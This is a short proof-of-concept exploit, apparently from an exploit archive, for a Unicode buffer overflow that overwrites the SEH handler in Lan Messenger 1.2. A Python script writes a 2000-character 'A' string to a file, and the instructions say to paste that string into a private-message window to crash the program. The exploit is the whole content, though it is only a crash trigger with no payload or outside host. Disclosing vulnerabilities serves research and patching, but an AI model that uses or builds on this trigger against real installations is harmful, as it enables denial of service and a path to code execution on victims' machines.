Lan Messenger sending PM Buffer Overflow(UNICODE) - Overwrite SEH

# Exploit Title: Lan Messenger Version 1.2 Buffer Overflow vulnerability - UNICODE(POC)
# Date: 09-05-2013
# Exploit Author: ariarat
# Vendor Homepage: http://lmadhavan.com
# Software Link: http://lmadhavan.com/software/archive/lanmsg12.zip
# Version: 1.2 & may be old versions!
# Tested on: [ Windows 7 & windows XP sp2,sp3]
#============================================================================================
# After creating txt file,open created file and copy the AAA... string to clipboard and
# then paste in Public Chat's send PM section or in any window for sending PM to others.
#
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

filename="string.txt"
buffer = "\x41" * 2000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()